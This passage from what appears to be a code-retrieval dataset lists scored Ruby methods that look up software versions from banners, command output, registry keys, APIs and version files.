VERSIONS[:default]))\n v || \"0.0\"\n end", "title": "" }, { "docid": "b15f11427c466a0b1623708c26fb5919", "score": "0.7107379", "text": "def version_get \n\t\t\tvreq=\"<get_version/>\"\t\n\t\t\tresp=sendrecv(vreq)\t\n\t\t\tresp = \"<X>\"+resp+\"</X>\"\n\t\t\tbegin\n\t\t\t\tdocxml = REXML::Document.new(resp)\n\t\t\t\tversion=''\n\t\t\t\tversion=docxml.root.elements['get_version_response'].elements['version'].text\n\t\t\t\treturn version\n\t\t\trescue\n\t\t\t\traise XMLParsingError \n\t\t\tend\n\t\tend", "title": "" }, { "docid": "3ae7a3d9a1ab2d7cfb383f637306e6f2", "score": "0.70895046", "text": "def getversion\n if not @vars[\"CFBundleShortVersionString\"].nil?\n version = procversion(@vars[\"CFBundleShortVersionString\"])\n return version\n elsif not @vars[\"CFBundleVersion\"].nil?\n version = procversion(@vars[\"CFBundleVersion\"])\n return version\n else\n raise QuickPkgErr.new(\"Cannot find a sane version string for the specified application bundle.\")\n end\n end", "title": "" }, { "docid": "a57e3875ff995b343d0327c468eaa290", "score": "0.70163316", "text": "def current_version\n if @resource[:platform]\n ver = Cisco::Yum.query(\"#{@resource[:name]}.#{@resource[:platform]}\")\n else\n ver = Cisco::Yum.query(\"#{@resource[:name]}\")\n end\n debug \"retrieved version '#{ver}' for package #{@resource[:name]}\"\n ver\n end", "title": "" }, { "docid": "3add26499eaa91cf33d7ce1378481df7", "score": "0.701336", "text": "def version\n software.version\n end", "title": "" }, { "docid": "336f4db2f084dff22c2b2184c9e08dd0", "score": "0.7008409", "text": "def get_version\n\t\t\tstatus, status_text, resp = omp_request_xml(\"<get_version/>\")\n\t\t\tbegin\n\t\t\t\tversion = resp.elements['version'].text\n\t\t\t\treturn version\n\t\t\trescue\n\t\t\t\traise XMLParsingError \n\t\t\tend\n\t\tend", "title": "" }, { "docid": "0ae0d10a2b15766009c088a9661f20b9", "score": "0.70018685", "text": "def get_ver\n # Get the OS Version\n cmd_exec('/usr/bin/sw_vers', '-productVersion')\n end", "title": "" }, { "docid": "b2cc5ff2d0b3cdc072577e6150e88fb1", "score": "0.69902563", "text": "def get_api_version\n response = send_api_request(:index)\n response[:returncode] ? response[:version].to_s : \"\"\n end", "title": "" }, { "docid": "8235b564f7e40718cdcffa6372b8b5be", "score": "0.69832385", "text": "def get_version(res)\r\n\t\t#Extract banner from response\r\n\t\tbanner = res.headers['Server']\r\n\r\n\t\t#Default value for edition and glassfish version\r\n\t\tedition = 'Commercial'\r\n\t\tversion = 'Unknown'\r\n\r\n\t\t#Set edition (Open Source or Commercial)\r\n\t\tp = /(Open Source|Sun GlassFish Enterprise Server|Sun Java System Application Server)/\r\n\t\tedition = 'Open Source' if banner =~ p\r\n\r\n\t\t#Set version. Some GlassFish servers return banner \"GlassFish v3\".\r\n\t\tif banner =~ /(GlassFish Server|Open Source Edition) (\\d\\.\\d)/\r\n\t\t\tversion = $2\r\n\t\telsif banner =~ /GlassFish v(\\d)/ and (version == 'Unknown' or version.nil?)\r\n\t\t\tversion = $1\r\n\t\telsif banner =~ /Sun GlassFish Enterprise Server v2/ and (version.nil? or version == 'Unknown')\r\n\t\t\tversion = '2.x'\r\n\t\telsif banner =~ /Sun Java System Application Server 9/ and (version.nil? or version == 'Unknown')\r\n\t\t\tversion = '9.x'\r\n\t\tend\r\n\r\n\t\tif version == nil or version == 'Unknown'\r\n\t\t\tprint_status(\"Unsupported version: #{banner}\")\r\n\t\tend\r\n\r\n\t\treturn edition, version, banner\r\n\tend", "title": "" }, { "docid": "4bb2ba747a73dd2ba8e58d95d992125a", "score": "0.6965533", "text": "def get_version\n execute_cmd(\"lshmc -V | grep 'Version:'|cut -d':' -f2\").chomp\n end", "title": "" }, { "docid": "b109485dba14e93dc1334155b961c6ee", "score": "0.6950632", "text": "def version\n if valid?\n \"2.#{@version_maj}.#{@version_min}\"\n else\n nil\n end\n end", "title": "" }, { "docid": "361d92d40cfcc352d64a1c7cfc2df3a8", "score": "0.68588537", "text": "def version\n @version ||= JSON.parse(api_execute('/version', :get).body)\n end", "title": "" }, { "docid": "6ccbfb9b264bf560e8eca8d0d393a95f", "score": "0.6837331", "text": "def retrieve_version()\n start.uri('/api/system/version')\n .get()\n .go()\n end", "title": "" }, { "docid": "d57747739aab7e4bc1e1cdc2d1b323fb", "score": "0.6834762", "text": "def version\n version = Nokogiri::XML(sendrecv('<get_version/>')).xpath('//version').text\n 'Version : ' + version\n end", "title": "" }, { "docid": "706c20fc08aeaf858f3771b60be42846", "score": "0.6825517", "text": "def get_version\n { version: send_query(\"GETINFO version\") }\n end", "title": "" }, { "docid": "ec9e97d26035a6b0ffc402e2abf3bd93", "score": "0.68100554", "text": "def version\n tell(\"get version\")\n end", "title": "" }, { "docid": "624dfbb0421e8f6b1ca72a96ca11326e", "score": "0.6786922", "text": "def get_version\n request('getVersion')\n end", "title": "" }, { "docid": "1430805b63f4670145abed32c7c1e8d4", "score": "0.67836636", "text": "def get_version(res)\n # Extract banner from response\n banner = res.headers['Server']\n\n # Default value for edition and glassfish version\n edition = 'Commercial'\n version = 'Unknown'\n\n # Set edition (Open Source or Commercial)\n p = /(Open Source|Sun GlassFish Enterprise Server|Sun Java System Application Server)/\n edition = 'Open Source' if banner =~ p\n\n # Set version. Some GlassFish servers return banner \"GlassFish v3\".\n if banner =~ /(GlassFish Server|Open Source Edition) {1,}(\\d\\.\\d)/\n version = $2\n elsif banner =~ /GlassFish v(\\d)/ && version == 'Unknown'\n version = $1\n elsif banner =~ /Sun GlassFish Enterprise Server v2/ && version == 'Unknown'\n version = '2.x'\n elsif banner =~ /Sun Java System Application Server 9/ && version == 'Unknown'\n version = '9.x'\n end\n\n if version == nil || version == 'Unknown'\n print_status(\"Unsupported version: #{banner}\")\n end\n\n report_glassfish_version(banner)\n\n return edition, version, banner\n end", "title": "" }, { "docid": "50e2ea5542caefb28bf17a081526dc44", "score": "0.6770289", "text": "def version_string\n case name\n when :advpng, :gifsicle, :jpegoptim, :optipng, :pngquant\n `#{path.shellescape} --version 2> /dev/null`[/\\d+(\\.\\d+){1,}/]\n when :svgo\n `#{path.shellescape} --version 2>&1`[/\\d+(\\.\\d+){1,}/]\n when :jhead\n `#{path.shellescape} -V 2> /dev/null`[/\\d+(\\.\\d+){1,}/]\n when :jpegtran\n `#{path.shellescape} -v - 2>&1`[/version (\\d+\\S*)/, 1]\n when :pngcrush\n `#{path.shellescape} -version 2>&1`[/\\d+(\\.\\d+){1,}/]\n when :pngout\n date_regexp = /[A-Z][a-z]{2} (?: |\\d)\\d \\d{4}/\n date_str = `#{path.shellescape} 2>&1`[date_regexp]\n Date.parse(date_str).strftime('%Y%m%d') if date_str\n when :jpegrescan\n # jpegrescan has no version so just check presence\n path && '-'\n else\n fail \"getting `#{name}` version is not defined\"\n end\n end", "title": "" }, { "docid": "d0e00681a784bc37660699d289cad933", "score": "0.6763383", "text": "def version_available\n return gemdata[\"version\"].to_s unless prerelease?\n \n # Depends if it's a prerelease or not\n prereleases = versions.select { |v| v['prerelease']}.map { |v| v['number'] }\n prereleases.first # Big Assumption, but appears correct on data so far\n end", "title": "" }, { "docid": "08718ff24e076e1b33ef2a607f074c7b", "score": "0.6733951", "text": "def version\n get_prop('firmwareVersion')\n # get_prop(:ProductVersion)\n end", "title": "" }, { "docid": "1332d624da539b96297fc0449affd3dc", "score": "0.67244023", "text": "def version_string\n @version_string || compute_version_string\n end", "title": "" }, { "docid": "02f19069060fbb8bd3101db9d10fa069", "score": "0.67035854", "text": "def version\n \"sometool 6.6.6\"\n end", "title": "" }, { "docid": "cbe08e63b21a6d7baf5fac03eb040b91", "score": "0.66904736", "text": "def get_version(version)\n end", "title": "" }, { "docid": "888baf20d301a25e01ab5577897ecc9e", "score": "0.66867423", "text": "def version\n query[:ver]\n end", "title": "" }, { "docid": "be813c4b547a3c934c807c00b2fe58da", "score": "0.6682925", "text": "def determine_latest_version(showres_output, package_name)\n packages = parse_showres_output(showres_output)\n unless packages.has_key?(package_name)\n return nil\n end\n if (packages[package_name].count == 1)\n version = packages[package_name].keys[0]\n return packages[package_name][version], nil\n else\n versions = packages[package_name].keys\n latest_version = (versions.sort { |a, b| Puppet::Util::Package.versioncmp(b, a) })[0]\n return packages[package_name][latest_version], latest_version\n end\n end", "title": "" }, { "docid": "c374f3bab0b4e2a9d1d6121be8d11d5c", "score": "0.6672924", "text": "def get_version\n version = nil\n Execute.task_popen3(\"_version\") do |i, o, e, t|\n version = Helpers.to_gem_version(o.read.chomp)\n end\n version\n end", "title": "" }, { "docid": "b99242d30c50c9131e249fbe5c847a2e", "score": "0.66677207", "text": "def version\n LXC.run('version').strip.split(' ').last\n end", "title": "" }, { "docid": "087afcf62ac0ed1584c977d0162f65d6", "score": "0.6666624", "text": "def current_version\n # Note that this logic does not work for products other than\n # chef & chefdk since version-manifest is created under the\n # install directory which can be different than the product name (e.g.\n # chef-server -> /opt/opscode). But this is OK for now since\n # chef & chefdk are the only supported products.\n version_manifest_file = if options.for_ps1?\n \"$env:systemdrive\\\\#{Mixlib::Install::Dist::WINDOWS_INSTALL_DIR}\\\\#{options.product_name}\\\\version-manifest.json\"\n else\n \"/opt/#{options.product_name}/version-manifest.json\"\n end\n\n if File.exist? version_manifest_file\n JSON.parse(File.read(version_manifest_file))[\"build_version\"]\n end\n end", "title": "" }, { "docid": "b64623b44c1fc194423ea3cca4f17edc", "score": "0.6664789", "text": "def version\n @version ||= match_data[2]\n end", "title": "" }, { "docid": "65a8a3be2a527f5b1830d5640eea0ff6", "score": "0.6653981", "text": "def installed_major_version\n cmd_str = 'varnishd -V 2>&1'\n cmd = shell_out!(cmd_str)\n cmd_stdout = cmd.stdout.to_s\n\n raise \"Output of #{cmd_str} was nil; can't determine varnish version\" unless cmd_stdout\n Chef::Log.debug \"#{cmd_str} ran and detected varnish version: #{cmd_stdout}\"\n\n matches = cmd_stdout.match(/varnish-([0-9]\\.[0-9])/)\n version_found = matches && matches[0] && matches[1]\n raise \"Cannot parse varnish version from #{cmd_stdout}\" unless version_found\n\n matches[1].to_f\n rescue => ex\n Chef::Log.warn 'Unable to run varnishd to get version.'\n raise ex\n end", "title": "" }, { "docid": "d189e5148cad5d3dac9ca90930fb6109", "score": "0.6651705", "text": "def version\n @version_mutex.synchronize do\n @version ||= begin\n response = http_client.headers(accept: \"application/json\").get(\"#{base_url}/\")\n\n SearchFlip::JSON.parse(response.to_s)[\"version\"][\"number\"]\n end\n end\n end", "title": "" }, { "docid": "431c271d7c1bd6b669a12b989438b6de", "score": "0.6649996", "text": "def version\n\t\treturn self.versions[ :ver ]\n\tend", "title": "" }, { "docid": "e28915e5a163a5abe04c2700109cca50", "score": "0.66331726", "text": "def version\n str = if detect_product(PANDORA)\n pandora.version\n elsif detect_product(PANDORA_APP)\n pandoraapp.version\n elsif detect_product(PANDORA_DESKTOP_APP)\n pandoradesktopapp.version\n end\n\n Version.new(str)\n end", "title": "" }, { "docid": "eca5d04320cb410688b0fd47f403bd6e", "score": "0.66220623", "text": "def version_string\n case name\n when :advpng\n capture(\"#{escaped_path} --version 2> #{Path::NULL}\")[/\\bv(\\d+(\\.\\d+)+|none)/, 1]\n when :gifsicle, :jpegoptim, :optipng, :oxipng\n capture(\"#{escaped_path} --version 2> #{Path::NULL}\")[/\\d+(\\.\\d+)+/]\n when :svgo, :pngquant\n capture(\"#{escaped_path} --version 2>&1\")[/\\A\\d+(\\.\\d+)+/]\n when :jhead, :'jpeg-recompress'\n capture(\"#{escaped_path} -V 2> #{Path::NULL}\")[/\\d+(\\.\\d+)+/]\n when :jpegtran\n capture(\"#{escaped_path} -v - 2>&1\")[/version (\\d+\\S*)/, 1]\n when :pngcrush\n capture(\"#{escaped_path} -version 2>&1\")[/pngcrush (\\d+(\\.\\d+)+)/, 1]\n when :pngout\n date_regexp = /[A-Z][a-z]{2} (?: |\\d)\\d \\d{4}/\n date_str = capture(\"#{escaped_path} 2>&1\")[date_regexp]\n Date.parse(date_str).strftime('%Y%m%d') if date_str\n when :jpegrescan\n # jpegrescan has no version so use first 8 characters of sha1 hex\n Digest::SHA1.file(path).hexdigest[0, 8] if path\n else\n fail \"getting `#{name}` version is not defined\"\n end\n end", "title": "" }, { "docid": "9aa46981232f3b7641d7cec0720caa75", "score": "0.6618845", "text": "def product_version\n @product_version ||= data.xpath(\"cra:repositoryInfo/c:productVersion\", NS::COMBINED).text\n end", "title": "" }, { "docid": "aa79a788b227d6ceeac0fa9dcade5767", "score": "0.66032696", "text": "def version\n @version ||= File.read(version_file).match(version_rgx)[1]\n end", "title": "" }, { "docid": "d4967de8cc2bff80446ff5ec73dbdd59", "score": "0.6578356", "text": "def version\n if @version_maj && @version_min\n \"2.#{@version_maj}.#{@version_min}\"\n else\n nil\n end\n end", "title": "" }, { "docid": "8a65075a16f26b8d8875a0eaaf2fcfd3", "score": "0.6575315", "text": "def api_version\n resp = @client.call(:wersja)\n resp.body[:wersja_response][:return].to_s\n end", "title": "" }, { "docid": "b49e0aba6dc18742fca4cf6fb73ca3ef", "score": "0.6573507", "text": "def version\n return @version if defined? @version\n return if Gem.win_platform?\n\n version = installed_versions.find { |p, _v| p == path }\n @version = version.nil? ? nil : version[1]\n end", "title": "" }, { "docid": "fb4971fbe745fe1686f923ca989f1dd3", "score": "0.6570662", "text": "def version\r\n case @brow_type\r\n when 'internet_explorer'\r\n temp = `reg query \\\"HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Microsoft\\\\Internet Explorer\\\" \\/v svcVersion\"`\r\n when 'firefox'\r\n temp = `reg query \\\"HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Wow6432Node\\\\Mozilla\\\\Mozilla Firefox\\\" \\/v CurrentVersion\"`\r\n when 'chrome'\r\n temp = `reg query \\\"HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Wow6432Node\\\\Google\\\\Update\\\\ClientState\\\\{8A69D345-D564-463C-AFF1-A69D9E530F96}\\\" \\/v pv\"`\r\n end\r\n @version = /(\\d+\\.)+\\d+/.match(temp)\r\n end", "title": "" }, { "docid": "4dc24978ba42f7ae924e44e0a2c47093", "score": "0.65683395", "text": "def version\n Gem::Version.new(VERSION_REGEX.match(@text)[1])\n end", "title": "" }, { "docid": "2c0868e5e1799c095eb2c5361bf44d01", "score": "0.6568121", "text": "def version\n execute_string(\"-version\")\n end", "title": "" }, { "docid": "b282cad6bc99baed090762528ce3162c", "score": "0.65545857", "text": "def get_version\n return @version\n end", "title": "" }, { "docid": "87fd15ce58b906d87d6478dc2856f38f", "score": "0.6545546", "text": "def version\n @gemspec.version || @version_helper.to_s\n end", "title": "" }, { "docid": "8b7548e530e87871d87bbf8b0b31cdea", "score": "0.6540069", "text": "def latest_version\n versioned_texts(true).version_desc.first\n end", "title": "" }, { "docid": "1b7ac66a5b50abf8c37c011788eb1f82", "score": "0.6534364", "text": "def get_version\n\t\treturn @version\n\tend", "title": "" }, { "docid": "5718fc0bac6536b90eaf9f83be51557b", "score": "0.653251", "text": "def get_version(version = nil)\n raise NotImplementedError\n end", "title": "" }, { "docid": "8e1fb4bab14c88e0084c1162ecf8c5c7", "score": "0.6524844", "text": "def version\n case @version\n when Module\n \"#{@version::Major}.#{@version::Minor}.#{@version::Release}\"\n when Proc # not sure about this\n @version.call\n when NilClass\n 'unknown'\n else\n @version\n end\n end", "title": "" }, { "docid": "292e64198e96e96b1f73f626750960d7", "score": "0.65198654", "text": "def ric_app_version()\n RicApp['head']['version'] || \n RicApp['VersionHistory'].sort{|x,y| y <=> x }.first.first\n end", "title": "" }, { "docid": "1e6d00f7e8a35305b4727f5299db56c6", "score": "0.6512121", "text": "def version\n request_get('/utils/version')\n end", "title": "" }, { "docid": "b82e5b5fbb37cac9d6d6ea626438f117", "score": "0.65083116", "text": "def get_nameprog_swversion\n nomeprog = APP_CUPERATIVA_NAME\n ver_prog = sw_version_to_int\n return nomeprog, ver_prog\n end", "title": "" }, { "docid": "525f4c90c20dd96eaae9d6e28fabc149", "score": "0.6507611", "text": "def version_in_use; spec.version.to_s; end", "title": "" }, { "docid": "3841c8e82f0cc14de9d7660be0e3ba78", "score": "0.6503051", "text": "def installed_version\n installed_info.empty? ? nil : installed_info.match(CHEFDK_VERSION_PATTERN)[:version]\n end", "title": "" }, { "docid": "fee478b976cd2d21c6c4f288f343b796", "score": "0.6501543", "text": "def version\n return es_version unless es_version.nil?\n\n @version ||= begin\n response = get \"/\"\n response.body.dig(\"version\", \"number\")\n end\n end", "title": "" }, { "docid": "366d2c39cfbae1a8286efb9eeadb8801", "score": "0.64986825", "text": "def version\n request :get_version\n end", "title": "" }, { "docid": "8c953c464dd8b4886aafb931cd96ff11", "score": "0.6497837", "text": "def version\n unless @version\n # Reassemble the version string on the off chance that an interim release\n # is reported in the format \"x.x(x.x)\" versus \"x.x(x)x\".\n regex = /^Cisco Adaptive Security Appliance Software Version (\\d+)\\.(\\d+)\\((\\d+).*?\\)/\n matches = regex.match(show('version'))\n fail Error::VersionParseError, 'Unable to determine appliance version' unless matches\n @version = '%d.%d(%d)' % matches[1..3]\n end\n @version\n end", "title": "" }, { "docid": "e357d7d8fd5ea79d1c1d7be87701125c", "score": "0.6484758", "text": "def current_version\n versions.last || nil\n end", "title": "" }, { "docid": "cb3483d406dd13f24602e817b42b0da3", "score": "0.647841", "text": "def version\n @version ||= Gem::Version.new(\n select_value('SELECT version()').match(/#{Adapter::ADAPTER_NAME} ([\\d\\.]+)/)[1]\n )\n end", "title": "" }, { "docid": "cb3483d406dd13f24602e817b42b0da3", "score": "0.647841", "text": "def version\n @version ||= Gem::Version.new(\n select_value('SELECT version()').match(/#{Adapter::ADAPTER_NAME} ([\\d\\.]+)/)[1]\n )\n end", "title": "" }, { "docid": "a8db9cfc23de9723a8dc670a1287dffc", "score": "0.6477963", "text": "def version\n @version || LATEST_VERSION\n end", "title": "" }, { "docid": "f74d0229b3d8dc7dcc245b54c670cf9d", "score": "0.64718413", "text": "def version\n data.fetch('version')\n end", "title": "" }, { "docid": "c4156a041fb6339342fb6e0a98fef928", "score": "0.64716256", "text": "def get_version(host)\n host_url = \"http://#{host}/\"\n get_version_by_url(\"#{host_url}version.txt\")\n end", "title": "" }, { "docid": "bea16fe4b0321c63b9b04ab98c0b3506", "score": "0.6461215", "text": "def current_version\n Versions.order('version desc').limit(1).first&.version || 0\n end", "title": "" }, { "docid": "344e7aa6f3eb29dfefa452c18619e00a", "score": "0.6459126", "text": "def version\n info[1]['version']\n end", "title": "" }, { "docid": "ca41b1b35baa168212bd65ddb1cf9ba4", "score": "0.64553475", "text": "def full_version_string; end", "title": "" }, { "docid": "474d46672c4deddde4724a3c7b98d0e0", "score": "0.6455078", "text": "def version\n str = if detect_product(\"CriOs\")\n crios.version\n else\n chrome.version\n end\n\n Version.new(str) if str\n end", "title": "" }, { "docid": "dbdc9bcd2fcf7a52a351967ff3865150", "score": "0.6445505", "text": "def latest\n output = aptcache :showpkg, @resource[:name]\n\n if output =~ /Versions:\\s*\\n((\\n|.)+)^$/\n versions = $1\n available_versions = versions.split(/\\n/).collect { |version|\n if version =~ /^([^\\(]+)\\(/\n $1\n else\n self.warning \"Could not match version '#{version}'\"\n nil\n end\n }.reject { |vers| vers.nil? }.sort { |a,b|\n versioncmp(a,b)\n }\n\n if available_versions.length == 0\n self.debug \"No latest version\"\n print output if Puppet[:debug]\n end\n\n # Get the latest and greatest version number\n return available_versions.pop\n else\n self.err \"Could not match string\"\n end\n end", "title": "" }, { "docid": "b1e541d25581dbb178a2a91bccf243ce", "score": "0.64426243", "text": "def latest_version(app_name)\n app_page(app_name).main_window.static_text(value: 'Version: ').parent\n .static_text(value: /^[0-9]/).value\n end", "title": "" }, { "docid": "bbf693240eb3adee44a26ff3c0c594e4", "score": "0.64414394", "text": "def get_server_version(dbh)\n # fetch result into scalar string\n ver_str = dbh.select_one(\"SELECT VERSION()\")[0]\n major, minor, teeny = ver_str.split(/\\./)\n teeny.sub!(/\\D.*$/, \"\") # strip nonnumeric suffix if present\n ver_num = major.to_i*10000 + minor.to_i*100 + teeny.to_i\n [ver_str, ver_num]\nend", "title": "" }, { "docid": "ef3b646beafa1cda11e61dd1af6b5cf1", "score": "0.644126", "text": "def version\n api_execute('/version', :get).body\n end", "title": "" }, { "docid": "12415007c354f5a5940df9e1265c28b9", "score": "0.6437715", "text": "def version\n if browser == 'Silk'\n last.version\n elsif platform == 'PlayStation 3'\n Version.new(os.split('PLAYSTATION 3 ').last)\n elsif platform == 'PlayStation 4'\n Version.new(os.split('PlayStation 4 ').last)\n elsif platform == 'PlayStation Vita'\n Version.new(os.split('PlayStation Vita ').last)\n else\n nil\n end\n end", "title": "" }, { "docid": "872b260be95c52c8bd0a3f29faea310f", "score": "0.64333266", "text": "def currentversion\n unless defined? @currentversion\n ver = %x{ruby -Ilib ./bin/#{@name} --version}.chomp\n if $? == 0 and ver != \"\"\n @currentversion = ver\n else\n warn \"Could not retrieve current version; using 0.0.0\"\n @currentversion = \"0.0.0\"\n end\n end\n\n return @currentversion\n end", "title": "" }, { "docid": "0b7368724c5fb507b0e9b1addbead67e", "score": "0.643286", "text": "def version\n return last_version if versionable?\n version_number\n end", "title": "" }, { "docid": "507251835cdac01c3e9ec511ce5a238f", "score": "0.643115", "text": "def ver\n @values['ver']\n end", "title": "" }, { "docid": "507251835cdac01c3e9ec511ce5a238f", "score": "0.643115", "text": "def ver\n @values['ver']\n end", "title": "" }, { "docid": "507251835cdac01c3e9ec511ce5a238f", "score": "0.643115", "text": "def ver\n @values['ver']\n end", "title": "" }, { "docid": "507251835cdac01c3e9ec511ce5a238f", "score": "0.643115", "text": "def ver\n @values['ver']\n end", "title": "" }, { "docid": "597a424a795906f866aa96bf14339bd8", "score": "0.6428771", "text": "def version\n @version ||= _get_version\n end", "title": "" }, { "docid": "597a424a795906f866aa96bf14339bd8", "score": "0.6428771", "text": "def version\n @version ||= _get_version\n end", "title": "" }, { "docid": "7ff30d6288e658d320a152e3fe5185d1", "score": "0.64150554", "text": "def version\n detect_product(OKHTTP_PRODUCT).version\n end", "title": "" }, { "docid": "f0256c0b05ab97303674fd350f2313f5", "score": "0.64128625", "text": "def read_version\n hits = File.read(version_file).scan(VERSION_PATTERN).first\n raise \"Can't detect verson string in #{version_file}\" unless hits\n hits.first\n end", "title": "" }, { "docid": "e1d058726e7a606b4e26b04ea9ef721b", "score": "0.640844", "text": "def version(n)\n return @versions.select {|v| v.filename == \"Version-#{n}.apversion\"}.first\n end", "title": "" }, { "docid": "7f666f5bfa602efeca70230cfaf3eeaa", "score": "0.6404637", "text": "def get_current_verison(page)\n butt = LittleHelper.init_wiki\n text = butt.get_text(page)\n if text =~ /version=(.*)/ || text =~ /version =(.*)/\n return Regexp.last_match[1]\n end\n\n nil\n end", "title": "" }, { "docid": "a6d04522bcfc25f701df4518f5460180", "score": "0.640462", "text": "def version\n [\"lib/#{name}.rb\", \"lib/#{name}/version.rb\"].each do |v|\n path = project_path(v)\n line = path.read[/^\\s*VERSION\\s*=\\s*.*/]\n return line.match(/.*VERSION\\s*=\\s*['\"](.*)['\"]/)[1] if line\n end\n end", "title": "" }, { "docid": "f3e68f92f440b3708205c749e3e7118e", "score": "0.64038265", "text": "def getLatestVersion( )\n\n # parameter TypeCheck\n\n # BIMserver request\n request( { } )\n end", "title": "" }, { "docid": "63718f3f656a5d527a3386fafc1a3821", "score": "0.6400887", "text": "def get_library_version\n\t\tend", "title": "" }, { "docid": "8459dc9134734576a23e9c574b07f699", "score": "0.6399281", "text": "def get_version()\n @version\n end", "title": "" }, { "docid": "e41a4a42b2e9de8bd43ac0a46a5d2b71", "score": "0.6394386", "text": "def version\n if `#{RAPPER} --version 2>/dev/null` =~ /^(\\d+)\\.(\\d+)\\.(\\d+)/\n [$1, $2, $3].join('.')\n end\n end", "title": "" }, { "docid": "e41a4a42b2e9de8bd43ac0a46a5d2b71", "score": "0.6394386", "text": "def version\n if `#{RAPPER} --version 2>/dev/null` =~ /^(\\d+)\\.(\\d+)\\.(\\d+)/\n [$1, $2, $3].join('.')\n end\n end", "title": "" }, { "docid": "38e9e2688eb53db882a469b20538d8ec", "score": "0.63878673", "text": "def version\n detect_product(SONOS).version\n end", "title": "" }, { "docid": "f882115aaba201cec4f6ec91931cc0e8", "score": "0.6386181", "text": "def version(*args)\n result = self.exec(\"lxc-version\", *args).scan(REGEX_VERSION).flatten.compact\n result.first.strip\n rescue\n nil\n end", "title": "" }, { "docid": "b410c9082682f7d50c3700887218a40e", "score": "0.6385685", "text": "def engine_version\n m = VERSION_REGEX.match(@text)\n return '' unless m && m[1]\n\n m[1]\n end", "title": "" }, { "docid": "82e8aef82f059309429f20b17e7c2efd", "score": "0.6385582", "text": "def latest_available_version(_product_name)\n latest_metadata = omnitruck_get('/chef/metadata')\n\n # Extract the relative path from the response from metadata endpoint\n relative_path = latest_metadata['relpath']\n\n # Extract the version from the relative path\n # TODO: support more than Mac OS X\n relative_path.split('/').last[/^chef-(.*)\\.dmg$/, 1]\n end", "title": "" }, { "docid": "0d4451c1bbde9f918e0956aece410b3b", "score": "0.63817346", "text": "def version\n requires :application_name, :version_label\n service.versions.get(application_name, version_label)\n end", "title": "" }, { "docid": "9e267dd174a643eded04ac4db6f974ba", "score": "0.6379613", "text": "def version\n version = @version.to_s.gsub(/[^0-9]/, '').to_i\n version = 1 if version == 0\n version\n end", "title": "" } ]
53e07d8b7a52adf4017e1a707103b6ff
method which return type of user Vendor, Dealership or OEM
[ { "docid": "0380b614c6994f248a75a5d8ed689463", "score": "0.74805313", "text": "def user_type\n provider_match = \"oceanus\"\n if self.dsm?\n USER_TYPES[:dealership]\n elsif self.vendor_user?\n USER_TYPES[:vendor]\n # For oceanus users you need to return user\n elsif (!self.user_profile.blank? && self.user_profile.title.to_s.downcase.include?(provider_match)) ||\n (!self.email.blank? && self.email.to_s.include?(provider_match))\n USER_TYPES[:provider]\n else\n USER_TYPES[:oem]\n end\n end", "title": "" } ]
[ { "docid": "75cbaba262bd29c713c0064add48db25", "score": "0.7163225", "text": "def type_of_user\n \tself.person_type\n end", "title": "" }, { "docid": "dc1cf3fadb27155a468144d6d487d6e9", "score": "0.7104078", "text": "def human_user_type\n TYPES[self.user_type]\n end", "title": "" }, { "docid": "cd55c5c63ae2d1dd30ab440f152c19eb", "score": "0.7000375", "text": "def user_type\n get('user_type')\n end", "title": "" }, { "docid": "7485c7727a9c1fd973b000f6f331da89", "score": "0.6919654", "text": "def user_type\n return @user_type\n end", "title": "" }, { "docid": "7485c7727a9c1fd973b000f6f331da89", "score": "0.6919654", "text": "def user_type\n return @user_type\n end", "title": "" }, { "docid": "7485c7727a9c1fd973b000f6f331da89", "score": "0.6919654", "text": "def user_type\n return @user_type\n end", "title": "" }, { "docid": "44692b5d62078fa5833eb554b68cb795", "score": "0.68400687", "text": "def usertype\n end", "title": "" }, { "docid": "bd27f72aa8e226a91770f8cf2519a3a2", "score": "0.6827056", "text": "def view_user_type\n case @target\n when UserType\n @target.name.to_s\n when Model::User\n @target.UserType.downcase\n end\n end", "title": "" }, { "docid": "97f1f6b5405203320d0f416e62f48d15", "score": "0.6645164", "text": "def type\n User.types.include?(params[:type]) ? params[:type] : 'User'\n end", "title": "" }, { "docid": "1a6fddd879fe7a1686aa73ae288c5cfa", "score": "0.6575979", "text": "def type_user?\n type&.downcase == 'user'\n end", "title": "" }, { "docid": "153ab65e9ddcf8be6c946f89bcc53be7", "score": "0.65270144", "text": "def is_user?\n self.user_type == 3\n end", "title": "" }, { "docid": "f364cf31cc7902eb711db5aa1305e6bf", "score": "0.6499878", "text": "def design_type\n self.user.design_type\n end", "title": "" }, { "docid": "6efc279b7bc58c383c3b2f96fe563713", "score": "0.64202625", "text": "def invited_user_type\n return @invited_user_type\n end", "title": "" }, { "docid": "073394041eb5569109185a8e9cf25255", "score": "0.6374371", "text": "def current_user_type\r\n\t\t\tif signed?\r\n\t\t\t\t'user'\r\n\t\t\telsif left_contact?\r\n\t\t\t\t'contact_user'\r\n\t\t\telse\r\n\t\t\t\t'guess'\r\n\t\t\tend\r\n\t\tend", "title": "" }, { "docid": "bd0e8f121dc25525baad2cdef7c78a70", "score": "0.63718396", "text": "def usertype\n User::Usertype.const_get(self.role.capitalize)\n end", "title": "" }, { "docid": "f0bcbdfc82cb67801d9ddc56fd4acbbb", "score": "0.63542855", "text": "def is_user?\n self.source_type.downcase==User.name.downcase\n end", "title": "" }, { "docid": "9dc668ac7d4a2931f7a1bdd6fbfaab3c", "score": "0.6300237", "text": "def target_entity\n return user if membership_payment?\n return company if branding_license_payment?\n\n nil\n end", "title": "" }, { "docid": "f53285929631ab7965144f119094e76f", "score": "0.62693655", "text": "def case_owner\n if pom_responsible?\n 'Custody'\n else\n 'Community'\n end\n end", "title": "" }, { "docid": "95f3dfbed7a5ca649b7b844e795b18ed", "score": "0.6254714", "text": "def guest_or_external_user_types\n return @guest_or_external_user_types\n end", "title": "" }, { "docid": "8d0879e5c2bb962ab1b3606acfaea766", "score": "0.623917", "text": "def user_account_type\n return @user_account_type\n end", "title": "" }, { "docid": "dfeabafec2daa2529b8370dd09247101", "score": "0.6237375", "text": "def get_database_object_for_user_type(friendly_user_type_name)\n case friendly_user_type_name\n when 'External User'\n User.find_by(email: my_user.email)\n when 'Internal User'\n AgencyUser.find_by(email: my_agency_user.email)\n when 'Admin User'\n Admin.find_by(email: my_admin.email)\n else\n throw 'Unknown friendly_user_type_name specified'\n end\n end", "title": "" }, { "docid": "8c2573b33573ee739365d706beaded49", "score": "0.6207784", "text": "def voter_type\n return nil if voter_id.blank?\n\n if uocava?\n \"Overseas / Military Absentee\"\n elsif absentee?\n 